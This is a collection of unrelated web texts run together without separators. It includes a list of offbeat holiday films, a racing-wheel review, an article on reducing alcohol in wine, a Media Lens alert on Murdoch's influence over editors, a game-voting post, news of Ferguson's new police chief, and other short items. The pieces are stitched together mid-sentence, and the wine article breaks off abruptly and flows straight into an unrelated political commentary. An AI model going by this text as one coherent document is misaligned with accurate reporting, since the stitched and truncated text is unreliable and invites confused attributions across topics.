Hanukkah gets the short end of the stick when it comes to holiday films. Flip on the TV in December and you’ll almost certainly find a Christmas movie or 12. But mainstream films about the Festival Of Lights are basically limited to The Rugrats Chanukah special and Eight Crazy Nights. Those looking for something a little less on the nose this Hanukkah should seek out Don Bluth’s animated adventure An American Tail, which features the holiday—and the Jewish experience in general—without ever making a big deal about it. The film opens in 1885 Russia where a family of Jewish mice are celebrating a Hanukkah evening. In true dad fashion, Papa Mousekewitz pretends to have forgotten all about presents before gifting his daughter Tanya and his son Fievel with new headwear and words of encouragement. Though the film goes to some dark places—a Cossack attack interrupts the celebration and convinces the Mousekewitzes to immigrate to America—its core celebration of the power of family makes it the perfect holiday-watch for viewers of any denomination. [Caroline Siede]
6. The Ref (1994)
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You know you’ve got domestic problems when Denis Leary is more composed than any member of your family. A comedy with enough black wit to sharpen even the most treacly of holidays to a fine edge, The Ref tells the story of Gus (Leary), a burglar who has the bad luck to stumble into taking hostage Lloyd and Caroline Chasseur (Kevin Spacey and Judy Davis), a married couple coming apart at the seams. As the cops search the neighborhood, Gus is forced into playing ersatz marriage counselor as the couple fight. And fight. And fight some more. (Itchy and Scratchy would be impressed.) By the time Lloyd’s family—complete with a nightmare of an overbearing mother—comes for a holiday visit, the evening spirals out of control. As much living-room farce as black comedy, the film’s Christmas setting is just about the only family-friendly aspect of the movie. It’s not Bad Santa-level crass, but it packs enough of a sting to make for satisfying holiday counter-programming. It also provides the fun sight of watching both Spacey and Davis out-motormouth a guy used to being the quickest tongue in the room. [Alex McCown]
7. Go (1999)
Go qualifies as a holiday movie from the moment Katie Holmes delivers the first dialogue of the film: “Do you know what I like best about Christmas? The surprises!” Many such surprises are delivered during the course of the proceedings, which revolves around three co-workers at a supermarket and the events that go down in their respective lives in the 24-hour period before Christmas arrives. Even with all the sex, drugs, and violence, the holidays are never far from the camera’s eye during the course of the film, thanks to scenes including an incredibly awkward Christmas dinner with William Fichtner and Jane Krakowski, and a shirtless Timothy Olyphant doling out drugs in a Santa hat. [Will Harris]
8. Lethal Weapon (1987)
Writer-director Shane Black has a penchant for including Christmas elements in all his action movies, a trend he began with his screenplay of 1987’s Lethal Weapon. From “Jingle Bell Rock” playing over the credits until the camera zooms in on a penthouse where a woman leaps to her death, the balance of holiday cheer and rampant violence is struck early and often. Our hero Martin Riggs (Mel Gibson) is introduced watching Bugs Bunny’s Christmas Carol with a gun in his mouth, busts up a gang of drug dealers operating out of a Christmas tree lot, and deals with a jumper as a man in a Santa Claus suit looks up from the street. A drug dealer closes a weighty negotiation by wishing the other party “Merry Christmas,” and later orders another business partner executed, the bullets cutting through the carton of eggnog he was drinking seconds ago. Cementing his role as the film’s Grinch, Mr. Joshua (Gary Busey) drives a car through the Murtaugh family’s holiday display and shoots up a TV playing another version of A Christmas Carol, leading into his climactic fist fight with Riggs on a front lawn with Christmas lights all around. It’s the most wonderful time of the year, if you can survive it. [Les Chappell]
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In the film adaptation of the hit Broadway musical Rent, the holidays are a backdrop for its depictions of bohemian New York artists dealing with scummy landlords, interpersonal drama, the ability to make ends meet, and (especially) the AIDS epidemic. More specifically, holidays are used as scene setting—the movie begins on cold, snowy Christmas Eve 1989 and ends one year later on the same day—and a plot device: A pivotal New Year’s Day scene finds the group having to break into their apartment, which has been emptied by said landlord (and former roommate) Benny. This causes Mark (Anthony Rapp) to take a job with slimy tabloid Buzzline, the first in a series of events that ends with his friend group fracturing for much of 1990. Although the film is faithful to the musical, the latter places greater emphasis on the role of holidays as a marker of time; in fact, the stark, moving “Halloween”—which ruminates on the consequences of the Christmas Eve 1989 decisions—only appears as a DVD extra. [Annie Zaleski]
In a perverse way, Eyes Wide Shut is the perfect distillation of anxieties about the complex Christmas interplay of emotion, economics, and reciprocity. From its opening, with Bill and Alice Harford (Tom Cruise and Nicole Kidman) preparing for a swanky Christmas party, to the ending where they wander through FAO Schwarz, Stanley Kubrick’s last film provides an eerie, cynical view of the holiday unfolding in the background. Shaken by a (frankly minor) revelation from his wife, Bill goes on a baffling odyssey through a simulacrum of New York City lit by twinkling lights and Christmas trees. He thrusts himself into the arcane debaucheries of the rich as he tries to uncover the truth about the death of a woman he thinks he met briefly… but Eyes Wide Shut isn’t really about a mysterious death. It’s about Bill Harford, who travels through the long night of this artificial city frantically trying to buy back his lost complacency, but only succeeds in reducing every relationship to a transaction. [Emily L. Stephens]
11. The Shop Around The Corner (1940)
This plot will likely sound familiar: Two coworkers who openly hate each other carry on an anonymous love affair through the mail, and neither of them know the other’s pen-name identity. Set in a small store in Budapest where curiously only one of the employees has any sort of a native accent, Ernst Lubitsch’s The Shop Around The Corner peaks during the holiday shopping season. Real-life friends Jimmy Stewart and Margaret Sullavan play Alfred and Klara, the star-crossed lovers unaware that their loathed co-worker is the person who’s been writing them those lofty letters. The charm and chemistry of the young leads—headstrong Sullavan and lovestruck Stewart—transcends this picture as they battle and flirt, often simultaneously. Just check out the scene when Alfred has figured out that Klara is the writer he loves, and courts her in the shop on Christmas Eve, lit only by holiday lights. You may love this store and its employees so much that you’ll be tempted to check out the 1949 Judy Garland/Van Johnson remake In The Good Old Summertime, which is fine. But by all means, avoid the hackneyed 1998 Tom Hanks/Meg Ryan version, You’ve Got Mail. It’s Christmas, for God’s sake. [Gwen Ihnat]
12. Brazil (1985)
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Brazil indicts lazy consumerism and lip-service civility at every turn, so it’s only natural that writer-director Terry Gilliam would start his darkly comic masterpiece just as its bureaucratic dystopia gears up for the blank-eyed rituals of the Christmas season. Under the Ministry Of Information’s jolly holiday watch, torturers hand out prefab gifts to their friends and family, little girls ask Santa Claus for credit cards, and cold government barracks sport festive Christmas trees. The best Yuletide moment, though—for a black-hearted definition of best, in any case—comes early in the film, when an adorable little girl asks her mother how Father Christmas will visit their family when they don’t have a chimney. Cue a jarring cut to the apartment ceiling, as saw-wielding thugs cut a hole in it, rappelling down as their as their jackbooted compatriots kick in the door. In the space of a minute, the little girl’s father is gone, zipped up in a government-issued body bag, with her shocked mother left with nothing but that most important of Christmas shopping artifacts: the receipt. [William Hughes]
Although the horror-comedy Gremlins hit theaters in June of 1984, it is without a doubt a Christmas movie. It opens with a father (Hoyt Axton as Randall Peltzer) looking for a Christmas gift for his son (Zach Galligan as Billy Peltzer), which he finds in an antique store in New York’s Chinatown. The Mogwai, a small, furry creature, makes the trip back to Kingston Falls, a town that closely resembles It’s A Wonderful Life’s Bedford Falls (later in the movie that film is actually playing on a television) with all the snow and merriment. That merriment, however, soon turns into a massacre when Billy breaks three very important rules regarding his new pet, resulting in a destructive army of Gremlins that are determined to ruin Christmas for everyone. Interestingly, Kate Beringer (Phoebe Cates—don’t worry, Judge Reinhold also makes an appearance) also wants to ruin Christmas by sharing that her father, dressed as Santa and attempting to fit down their chimney, died a few Christmas Eves back. But in the true Christmas spirit, nothing can take down one of the most celebrated holidays, and the movie wraps itself up nicely, sparing the main characters any true heartache and teaching them some sort of lesson in the process. [Becca James]
Just Friends usually gets written off as “Ryan Reynolds in a fat suit,” doing this very funny comedy a tremendous disservice. It deserves another run every December, depicting the simple story of a now-big-shot who returns to his small town over the holidays and attempts to win over his high school crush. Reynolds is consistently more hilarious than his disastrous action movie franchises, or less-successful comedies like The Change-Up, would indicate, as he flails on too-tight ice-skates or regresses into bitch-slap fights with his younger brother. Here he also has Anna Faris in tow, going completely over-the-top as an insane Britney Spears knockoff. Even Chris Klein was never better as a wannabe lothario. There’s a lot more to love in Just Friends than its unfortunate marketing campaign would lead you to believe. [Gwen Ihnat]
15. L.A. Confidential (1997)
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Ed Exley is an LAPD detective sergeant who’s about as by-the-book as they come, Bud White is a plainclothes detective with a violent streak, and neither gentleman has much use for the other, but the event that creates a state of tension between the two of them that lasts until the closing moments of L.A. Confidential takes place on Christmas Day. After indulging in way too much eggnog, a collective of cops led by Bud’s partner, Dick Stensland, decides to extract revenge on a group of prisoners who’d gotten into a fight with several officers earlier in the evening in which one cop reportedly lost an eye, with another suffering from brain damage. Bud rushes to try and stop Dick from doing something rash but ends up doing something rash himself, throwing a prisoner against a cell door and head-butting him. Unfortunately, a news photographer happens to be present and snaps pictures of the carnage, leading to the L.A. Times headline “Bloody Christmas.” Having been present for the incident, Exley agrees to testify to everything he witnessed, which results in Dick getting fired and Bud growing bitter. Happy bloody holidays. [Will Harris]
Dan Aykroyd’s snooty commodities broker Louis Winthorpe III might be in need of a Ebenezer Scrooge-style attitude adjustment, but John Landis’ ’80s comedy classic Trading Places is more Mark Twain than Charles Dickens. Eddie Murphy co-stars as the pauper to Aykroyd’s prince, a con artist named Billy Ray Valentine who gets swept up in a bet between the billionaire Duke brothers (Ralph Bellamy and Don Ameche) over whether Valentine and Winthorpe’s personalities would remain the same if their social positions were reversed. Propelled by Murphy and Aykroyd’s formidable comedic talents, Trading Places doesn’t delve too deeply into the inner workings of Wall Street—the climactic scene breezes through a commodities trading scheme so quickly, NPR asked an actual broker to explain what happens—nor does it spend too much time focusing on its Christmas setting. Winthorpe tries to frame Valentine at a Christmas party, but he could have just as easily snuck in dressed as a waiter instead of an especially ragged Santa Claus. Similarly, Christmas decorations appear in the background of nearly every scene, but are about as important to the plot as the sexually predatory gorilla. (Of course there’s a gorilla. This is John Landis we’re talking about.) [Katie Rife]
17. Peter’s Friends (1992)
Peter’s Friends is often billed as the British The Big Chill, which makes sense, as it, too, boasts an absurdly overqualified cast, features a reunion of college friends who’ve drifted apart, and is sort of disappointing, when it comes right down to it. Still, that cast really is overloaded, featuring then-marrieds Emma Thompson and Kenneth Branagh, Stephen Fry, Hugh Laurie, Imelda Staunton, and Thompson’s mother Phyllida Law. (And very annoying American comic and co-screenwriter Rita Rudner, but we’ll let that go.) Taking place the week after Christmas at the wealthy layabout Fry’s ancestral estate, the film uses the holiday as a backdrop to its serio-comic sniping and hugging, as Peter and all his friends gradually reveal the buried discontentments, regrets, and one big secret. Even if Rudner’s script strands them with contrivances, the cast is uniformly wonderful, nowhere more so than the lovely scene where the former college revue pals sing an affectionate version of “The Way You Look Tonight” while director Branagh’s camera pans slowly around the still-decorated Christmas tree. [Dennis Perkins]
18. Little Women (1994)
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Given that Louisa May Alcott’s iconic novel Little Women was published in two volumes, it makes sense that the story feels a little disjointed. The first half depicts the younger, happier years of the March sisters while the second follows the girls as they move away from home to pursue careers, marriages, or both. Director Gillian Armstrong uses a cozy winter setting as shorthand for childhood nostalgia in the first half. Jo (Winona Ryder) and her sisters attend holiday parties, generously share their Christmas feast with the poor, romp in the snow with their impish neighbor Laurie (a perfectly cast Christian Bale), and snuggle by the fire while learning important life lessons from their sanctimonious mother Marmee (Susan Sarandon). Christmas itself may be only a small part of the film, but Little Women acutely captures the sense of childhood as a warm, cozy time when everything was just a little bit easier. [Caroline Siede]
“Come out to the Coast, we’ll get together, have a few laughs,” Bruce Willis mimics ruefully, as he crawls through an air shaft in Nakatomi Plaza. It’s perhaps the clearest summation of what’s so great about this action classic, which takes place entirely on Christmas Eve. Streetwise NYC cop John McClane may have calcified into an unstoppable superhero in the recent films of this series, but in the first installment, he was just a regular guy looking to reconnect with his wife, who recently took a new job on the West Coast. Unfortunately, his arrival at the company Christmas party is perfectly timed to coincide with Hans Gruber’s terrorist gang, who seize the building and the hostages inside. Willis was reportedly just about the last choice for the role, but his everyman sarcasm and cool-guy-next-door panache helped usher in a new era of more relatable action stars. Of course, making one of the best action films of all time probably didn’t hurt the movie’s reception, either. It’s got quality, ho, ho, ho. [Alex McCown]
Peter Jackson’s remake of King Kong certainly isn’t perfect. Aside from a badass T-rex fight and an effectively squirmy scene with giant bugs, Skull Island feels more like a video game than a movie, and did we really need the mentor subplot between the first mate and Jamie Bell’s stowaway? Luckily, things pick back up once the action shifts Stateside, especially when Kong goes on his iconic rampage through the Big Apple. Unlike the original, however, there’s a quiet moment for the giant ape and Ann Darrow (Naomi Watts) between his escape and his last stand atop the Empire State Building. When he comes across a frozen pond in Central Park, he can’t help but get a little playful with his potential mate (as primates are known to do), sliding across the ice and tumbling into snowbanks as Darrow’s terror gives way to laughter. While many have dismissed the sequence as silly, it deepens the bond between the two characters, a bond that ends up being essential for the final line of the film to ring true. Also, the image of Christmas trees twinkling against the New York skyline captures the magic of winter in the city, exuding Yuletide comfort for gorilla and human alike. [Dan Caffrey]
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Though most people can probably hum “Have Yourself A Merry Little Christmas,” they’re less likely to know that the song originated in the Judy Garland musical Meet Me In St. Louis. Directed by Vincente Minnelli, the film charts a year in the life of the upper-middle class Smith family as they eager anticipate the 1904 St. Louis World’s Fair—right in their own hometown! While it hits many of the major holidays (Halloween is appropriately spooky), the Christmas segment serves as the film’s heart. After Mr. Smith announces his plan to move the whole family to New York, there’s extra poignancy to what the Smiths assume is their last Christmas in St. Louis. An elegant Christmas Eve ball becomes a high-stakes comedy of errors full of lost tuxedos, absent dates, mischievous dance cards, and underlying anxiety about the future. And later that night when little Tootie (Margaret O’Brien) worries that Santa won’t be able to find their new East Coast home, Esther (Garland) comforts her sister with a ballad that embraces the melancholy of the holiday season. In fact, it basically sends Tootie into a minor emotional breakdown. Though the film may ultimately have a happy ending, those moments of Christmas pathos make it feel like more than just a fluffy musical confection. [Caroline Siede]To Wheel Or Not To Wheel
First off this is a beautiful wheel and the build quality has come a long way over the years of racing wheels. The wheel itself is steel wrapped in real leather. This does not feel cheap when its in your hands. That being said the main question is, is this worth the price. I bring this up because Logitechs last model, G27, can be purchased for [price]. Not to mention the G27 comes with the shifter. I owned both and I can say that the new G920 does feel better in your hands. The Force Feedback and rumble effects feel a tad cleaner with less rattle. The main improvement is the brake pedal. The new brake pedal is way stiffer and feels a lot better when you are braking hard. What Logitech did was listen to the consumers who were modding the old G27 with a stiffer spring and included the brake mod in their new model. I would say the only way this new model is worth the extra money over the G27 is if your looking for next gen console compatibly. The G27 works with PC and Xbox 360 where this model works with PC and Xbox One. If your looking for a wheel to play PC racing games on I would say with 100% confidence to go with the G27 and save a boat load of cash. If you want something that will work with Forza 6 and future titles then this is the obvious choice. If you do some research there are products that allow your G27 to work with the Xbox One but don't be fooled. Although you can get them working you don't get Force Feedback which is really the main point on having a wheel. Plus the button layout on the G920 is much nicer and makes navigating menus on Xbox One and even on PC a breeze. Its a shame Logitech doesn't include the shifter with the price tag but that's life. I got the wheel on sale for [price] and found the shifter for [price]. At those price points I have no buyers remorse.Afghanistan '11
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By clicking the button below you are agreeing to be bound by the terms and conditions of this agreement and you will be contacted in due course if your application to become a Beta tester has been accepted.Alcohol levels in just about everything are rising, and a lot of people aren’t happy about it. Nonetheless, winemakers would really rather you not know that they’re doing something about it. Or, at least, one particular something about it: dealcoholization, or “dealcing.” While there are alcohol-free or very low alcohol wines on the market, what I’m talking about is bringing super-hot 14-17% alcohol wines down to the more comfortable 11-14% range.
Why alcohol levels are rising is no mystery. Winemakers are working with riper grapes to satisfy contemporary tastes for the big, the luscious, and the fruit-forward. Wine growing regions are warming up so that grapes have the time and sunlight to accumulate sugars like never before. Better yeasts are able to handle both more sugar and more alcohol without giving up, so winemakers don’t have to add water to ensure that high-sugar musts will ferment.
What to do about all this heat is a different matter. You might argue that we shouldn’t do anything about it at all; higher ABVs are a natural consequence of riper fruit, riper fruit is good, and so there we are. But plenty of other people, including a lot of consumers, aren’t happy about seeing numbers in the 14-16% range on their bottles, and a substantial industry has emerged in an effort to make those people happier.
Reducing alcohol isn’t just about pleasing customers who want lower-alcohol wines, though that’s part of it. It’s also about taxes. Both in the United States and the EU, wines with more than 14% alcohol reported on the bottle (labels only have to be accurate by plus or minus 0.5%) accrue higher taxes than wines under that limit. For mega-wineries with lakes of wine to process, “dealcing” to slide below that threshold can save money. And then there’s the “balance” argument; some winemakers feel as though their wine tastes better with super-ripe flavors but less alcohol than that ripeness usually produces. The EU allows winemakers to reduce the alcohol content of their wines by up to two (ABV) percentage points either via the reverse osmosis or spinning cone approach. American winemakers are free to reduce as they please.
A 2006 survey calculated that about 18% of California’s vintage in that year went through a dealcoholizing process. Dealcing is big business, but no one talks about it. Wineries aren’t keen to have their consumers know that alcohol has been removed from their products because most of us don’t want to think about wine as a product at all. Big plastic membranes and metal cones don’t exactly fit in with the romantic view of the sunburnt winemaker carefully tending his vines and checking his barrels in glowing valleys and musty caves. But large wineries are very much industrial food product factories with hardhats and big metal tubes. Dealcing is just one more tool to “dial in” product specifications.
Wineries have a few options when it comes to bringing alcohol levels down:
Adding water
The oldest, but (arguably) least satisfactory method. Diluting high-sugar must obviously doesn’t just dilute the sugar (and therefore the alcohol), but flavor, too. The upside is that this method is very “natural,” but watered-down wines tend to taste…well, watered down.
Starting with less-ripe grapes
Another old-fashioned option. Less ripe means less sugar, but different and less ripe flavors, too. Now, there’s very much a less-ripe wine fan club (I count myself a member and, if you appreciate reds from the Finger Lakes, you probably are too). But this option really doesn’t work if you don’t want to change the flavors you’re getting with your 15-16% alcohol wines.
Reverse osmosis (membrane filtration)
Here comes the technology. Nearly all large-ish wineries who want to lower their alcohols use one of two techniques: reverse osmosis or spinning cone columns (more about the latter in a moment.) The industry for performing these services has split into two monopolies, with Vinovation dominating the reverse osmosis side of things.
Reverse osmosis (RO) works by putting wine into contact with a membrane – a plastic film – with very, very tiny holes. These holes are so tiny that the only molecules that can pass through, pretty much, are water (H 2 O) and alcohol (C 2 H 6 O). To avoid having the membrane clog up and to make the process more efficient, the wine is run parallel along the membrane rather than perpendicular directly at it. The liquid that passes through the membrane – the “permeate” – can then be distilled to separate the water from the liquid. Measure the alcohol content in the filtered wine, add back water and alcohol in whatever proportion you need to achieve the final alcohol percentage you want, and there you go: “alcohol fine-tuning.” Because flavor molecules tend to be bigger than water and alcohol and therefore too big to pass through the RO filter, this process shouldn’t affect the flavor of the wine. In theory (more on that later).
Spinning cone columns
Conetech is the Vinovation of spinning cone columns, which is to say that they’re pretty much the only player on their side of the high-tech dealcing business.
Spinning cone technology is nifty, if a bit abstruse-sounding. Wine (or another liquid) is passed over a vertical column of metal cones – spinning ones alternating with stationary ones – so that the wine spreads out into a very thin film on the surface of the metal. This allows for evaporation, but not everything in the wine evaporates at the same time. Volatiles (components with boiling points lower than water) including alcohol along with some aroma compounds evaporate first. Unlike traditional distilling, the process is done at reasonably low temperatures, a major advantage where wine quality is concerned. After the wine has been run through the column, it can be recombined with the “essence” – the volatile flavor molecules are captured off of the column in a separate fraction – along with however much of the alcohol is desired source.
Using less efficient yeasts
An up-and-coming technology for reducing alcohol during fermentation involves engineering yeast that make alcohol less efficiently. The great thing about this option is that it doesn’t require an extra processing step; the wine has less alcohol from the get-go, and there’s no risk of losing flavor or adding cost with dealcoholizing maneuvers.
Saccharomyces cerevisiae metabolizes (that is, eats) sugar and turns it into not only alcohol, but a bunch of other byproducts, too, including carbon dioxide, glycerol, acetaldehyde, and other flavor-affecting molecules. In the early days of commercial wine yeast production, beginning around the 1950’s, efficient conversion of sugar to alcohol was a desirable characteristic in yeast; winemakers usually wanted maximum bang out of fruit that was, in general, less ripe than it is today. But today’s riper fruit is propelling microbiologists to develop yeast that still eat as much sugar (so that wines still ferment to dryness) but produce more glycerol, for example, and less alcohol as a result. A major problem with this idea is that most of the other products yeast can make instead of alcohol have aromas and sometimes flavors that |
. ‘Murdoch’s sudden massive reversal of fortune’ has ‘supporters of Israel worried that a diminished Murdoch presence may mute the strongly pro-Israel voice of many of the publications he owns.’
One recent article in the Jewish Chronicle was even headed, ‘Is this curtains for pro-Israel Murdoch?’
The Farcical Faustian Pact
Andrew Neil, a former Murdoch editor, once said that although the media mogul would not intervene directly at The Times or the Sunday Times, ‘he does regard himself as someone who should have more influence on these papers than anyone else.’
During his time as Sunday Times editor, Neil ‘was never in any doubt what the News Corp boss thought about issues.’ It obviously helped that Neil and Murdoch ‘share[d] a common worldview’; indeed this is a requirement for all editors and proprietors:
‘An editor has to be on the same planet [as the paper’s owner]. You don't have to be on the same continent or the same country for all of the time but you need to be on the same planet.’
When it came to Murdoch’s tabloid press, direct intervention by the owner did take place:
‘If you want to know what Rupert Murdoch really thinks read the editorials in the Sun and the New York Post because he is editor-in-chief of these papers.’
Neil continued:
‘There is no major geopolitical position that the Sun will take whether its attitude to the euro or to the current European treaty or to whom the paper will support in the upcoming general election. None of that can be decided without Rupert Murdoch's major input.’
In 1999, News of the World exposed the former Tory MP Jeffrey Archer as a liar and perjurer, which led to him being imprisoned. But Murdoch had not wanted the Archer scoop to be published and sacked the editor Phil Hall for defying him. It was a clear example of what happens to editors who step out of line.
The threat of proprietorial interference, then, is always present; whether directly (Murdoch’s tabloid press) or by knowing exactly what the owner’s views are and conforming to them (Murdoch’s ‘quality’ press). Denying or downplaying all of this, even in defiance of the clear ‘evidence’, is ‘in everyone's interests’, said Neil, adding:
‘It suits the editors and proprietors to continue this farce.’
This is not limited to the Murdoch press. Throughout the corporate media, editors and proprietors enter a ‘Faustian pact’ to pretend that interference does not happen; editors do not want to be seen ‘as puppets of proprietors.’ But, in effect, that is what they are.
Thus, it is important to look beyond the Murdoch media empire at the wider context of the scandal engulfing News International, a corrupt police force and a supine political establishment. Seumas Milne made some good observations along these lines in the Guardian recently:
‘These revelations [of phone hacking] should ram home the reality that Britain has become a far more corrupt country than many realise. Much of that has been driven by the privatisation-fuelled revolving door culture that gives former ministers and civil servants plum jobs in the companies they were previously regulating.’
Milne notes that several ‘opportunities’ to clean up this corruption ‘have come and gone’:
‘First the official deception of the Iraq war, then the collapse of a deregulated banking system, then the exposure of systematic sleaze in parliament revealed a growing crisis in the way the country is run. Now that crisis has been shown to have spread to the media and police. Official Britain isn't working. Sooner or later, pressure for change will become unstoppable.’
It is hard to argue with Milne’s article. But he is silent, for obvious reasons, about the Guardian’s important role as a liberal gatekeeper that helps preserve the established order. As we have repeatedly pointed out in our media alerts and books, this role is a crucial missing ingredient in any serious discussion of the nexus of power, politics and the media. As ever, we have to look to someone commenting from beyond the confines of the self-regarding Guardian for the unvarnished truth. John Pilger is one such voice:
‘the truth is, Britain's system of elite monopoly control of the media rests not on News International alone, but on the Mail and the Guardian and the BBC, perhaps the most influential of all. All share a corporate monoculture that sets the agenda of the “news”, defines acceptable politics by maintaining the fiction of distinctive parties, normalises unpopular wars and guards the limits of “free speech”. This will be strengthened by the illusion that a “bad apple” has been “rooted out”.’
Even if Murdoch’s empire were to collapse, there would still be no free press, no responsible corporate news agenda and no brave new world of media democracy. For these to take root, the stranglehold of corporate media and corporate politics needs to be broken. That will happen only when enough people demand change.
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The goal of Media Lens is to promote rationality, compassion and respect for others. If you do write to journalists, we strongly urge you to maintain a polite, non-aggressive and non-abusive tone. For this alert we are leaving it up to you to decide which journalists, if any, to contact.
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We would like to highlight the forthcoming Rebellious Media Conference in London between October 8-9, 2011. The keynote speaker will be Noam Chomsky. Further details are available at: http://rebelliousmediaconference.org/Picking which gaming gift could end up under the tree is an unenviable task. Particularly in 2017 when we've been hit by a tidal wave of great games. Pick we must though, as it's our first round of the 12 Games of Christmas 2017. It's Assassin's Creed Origins v Nier Automata, which would you rather receive as a gift for Christmas? Both games offer dozens of hours of open-world entertainment and could be the perfect way to lose a few afternoons gaming during the holiday period.
Day 1 - 12 Games of Christmas 2017 - Assassin's Creed Origins v Nier Automata
Day 2 - 12 Games Of Christmas 2017 - Horizon: Zero Dawn v The Legend of Zelda: Breath of the Wild
Day 3 - 12 Games Of Christmas 2017 - PUBG v Destiny 2
Day 4 - 12 Games Of Christmas 2017 - Divinity: Original Sin 2 v Total War: Warhammer 2
Day 5 - 12 Games Of Christmas 2017 - Shadow of War v Nioh
Day 6 - 12 Games of Christmas 2017 - Super Mario Odyssey v Wolfenstein II: The New Colossus
Day 7 - 12 Games of Christmas 2017 - Assassin's Creed Origins v Horizon: Zero Dawn
Day 8 - 12 Games of Christmas 2017 - PUBG v Divinity: Original Sin 2
12 Games of Christmas 2017 - RESULTS
To add a little pep to proceedings, there is a GeForce GTX 1070 Ti or $400 Steam Credit up for grabs for anyone who gets involved in the voting. Simply use the tool below to enter the GTX 1070 Ti giveaway, and follow the link for the full competition rules.
Round 1: Fight 1 - Assassin’s Creed Origins v Nier Automata
One is a fantastically realised, incredibly detailed open-world the likes we've rarely seen before, the other is a sci-fi epic built on a shoestring budget that scooped up Game of the Year 2017 in the Global Game Awards. Assassin's Creed Origins and Nier Automata couldn't be more different in their approaches, and yet both stand as towering achievements this year.
Assassin's Creed Origins proved that Ubisoft's decision to take a year off was the right one for the franchise. Its rendition of Ancient Egypt is really rather special, joined by a revamped combat system and loot, glorious loot. AC: Origins is the blend of Assassin's Creed and Destiny that we'd always dreamed of. With the largest world yet seen in an Assassin's Creed game, AC: Origins would be a great value gaming gift this holiday. The searing sands of Egypt also make for a nice winter warmer while you're huddled inside, away from the snow.
Meanwhile, Nier Automata is quite probably one of the strongest examples of gameplay and mechanics impacting storytelling that we've ever seen. Honestly, if you haven't played it yet, or you only finished the first run through, you owe it to yourself to attempt to mop up the alternate endings. As far as Christmas goes, Nier Automata couldn't be further removed, but it's blend of fast-paced action and bullet hell could bring a smile to even the biggest Scrooge.
Now these two open-world, narrative-driven titans are going head to head in the gladiatorial arena. Only one can get the thumbs up and make it out alive, booking a spot in the semi-finals of the 12 Games of Christmas. It's Assassin's Creed Origins' hidden blades and crocodile shoes against Nier Automata's oh-god-I'm-now-contemplating-my-own-existence story kicks.
Vote for your pick below, and remember to get involved in the GeForce GTX 1070 Ti giveaway above.
12 Games of Christmas 2017 - Rules and How the Community Voting Works
Get voting below for your winner, and remember to check back tomorrow for Day Two of the 12 Games of Christmas, where two more titles will battle it out to earn a place in the next round. The winner of today's competition will face the winner of tomorrow's competition in the semi-final on 19th December!Delrish Moss of Miami was motivated to become a police officer after being mistreated by law enforcement as a child. Quite naturally, he said his pursuit of a high-ranking position in a police department had a personal motivation: He wanted to fire bad cops like the ones who abused him.
Moss took the oath of office at the Ferguson Community Center on Monday in front of a crowd of about 150 people, including city residents, police from other departments in the region, as well as a handful of officers from Moss’ previous employer, the Miami Police Department.
Then, in his first remarks to Ferguson officers as their new boss, Moss delivered a stern warning.
“If you work hard, if you stay honest and committed, if you maintain respect for the community and do your job well, we will get along just fine,” he said. “If you fall short of that, and it’s through a mistake of the head, we will work to correct that. But if you do it with malice, if you do the job in a way that disrespects the badge that you hold, I will see to it that you are either removed from police service, or further prosecuted.”
Moss has been president of the Miami Police Athletic League, which reaches out to youths, and on the board of the Urban League of Greater Miami and an organization called A Safe Haven for Newborns. He also is a member of the NAACP, National Association of Black Journalists and Tender Essence Inc., which deals with issues such as teen pregnancy, substance abuse and violence.
More than a year and a half after the death of Michael Brown the beleaguered county near St. Louis has finally new chief of police.
The veteran Florida police officer was picked to lead the Ferguson Police Departmen, according to reports. The news of Moss’marks a turning point for the department, which was come under intense scrutiny after generating national headlines from Brown’s death.
The unarmed black teen was fatally shot by a white police officer in August 2014. Since Brown’s death, protests have been held to protest the tragedy as well as the handling of the case. A federal probe concluded there was racial bias throughout the Ferguson’s justice system.
“Change doesn’t come easily, but I think I’m ready for that challenge,” Moss told ABC 10.
A major with the Miami Police Department, Moss comes to Ferguson with 32 years of experience on the job. The 51-year-old’s years of experience are something Ferguson officials are looking to in hopes of repairing the department’s reputation since Brown’s death.
According to ABC 10, Moss was selected over three other finalists from Indiana and Missouri and will replace interim Ferguson Police Chief Andre Anderson, “who was suspended last August after it was discovered that he’d previously been suspended three times in one year.”
Also On Atlanta Daily World:Antoine Fuqua is developing a film about the late activist and Black Panther affiliate Fred Hampton. The project is based on Jeffrey Haas’ 2009 book The Assassination of Fred Hampton: How the FBI and the Chicago Police Murdered a Black Panther, according to Variety.
Beginning at the age of 15, Hampton inserted himself into the world of activism by organizing a chapter of the NAACP at his high school and later became the chairman of the Illinois Black Panther Party at age 20.
Haas’ book, adapted for the screen by screenwriter Chris Smith, uncovers the controversial events surrounding Hampton’s 1969 murder. The 21-year-old was shot dead in his bed as 14 officers opened fire during a police raid. Though Hampton’s death was ruled as a “justifiable” homicide by officials, Hampton’s surviving family members filed a civil lawsuit in 1970, which resulted in a settlement of $1.85 million in 1982.
The untitled project is a part of Fuqua’s new production deal with Sony Studios.
For the filmmaker, the new deal is a homecoming of sorts as the film studio has helmed some of his biggest films including “The Equalizer,” “Training Day,” and his breakout feature, “The Replacement Killers.”
“I started my feature film career almost 20 years ago at Columbia,” Fuqua said to Variety about rejoining Sony for his new deal. “Since then some of my biggest career achievements have been with the studio. I am proud of our work together and am very much looking forward to this new collaboration and our upcoming creative endeavors.”Quick update here folks:
This afternoon, we pushed a change live to bypass skill-matching requirements on PC. So, all PC Versus Public queues are no longer using skill-based matchmaking. XBOX ONE and PS4 were NOT changed, and still use skill-based matching.
The reason: Some PC users were seeing significantly long waits for Meltdown and Capture, averaging around 10 minutes but with outlier waits of 30 minutes or more (and a few that never matched). Console players are still matching (on average) under 5 minutes in almost every case.
Since we made the change (around 3pm CST), we’ve seen the average queue times drop on PC to between 2 and 4 minutes for Meltdown, 2-3 minutes for Incursion. Capture isn’t getting much play on PC right now.
Our current configuration maintains your choice of mode, while creating the shortest match times possible there. When we can, we try and better match you with skilled players for close games, but we are monitoring match times and will lower the requirements for skill-matching (or remove the requirements) if that means we can get you into matches more consistently.
Thanks again, all, for your patience with our work to tune the matchmaking to fit the community we have.No one was closer to Michael Jackson at the height of his creative powers than Bruce Swedien, the five-time Grammy winner who, with Jackson and producer Quincy Jones in the studio, formed the trio responsible for the sound of Jackson’s records.
Excerpted from the book In The Studio With Michael Jackson (by Bruce Swedien © 2010). Published by Hal Leonard Books, an imprint of Hal Leonard Publishing. Reprinted with permission.
“Billie Jean”
The year is 1982. The song is “Billie Jean.” “Billie Jean” is a perfect example of what happened when I sat around dreaming about combining different recording techniques to produce a unique musical canvas, with a tremendous “sonic personality.”
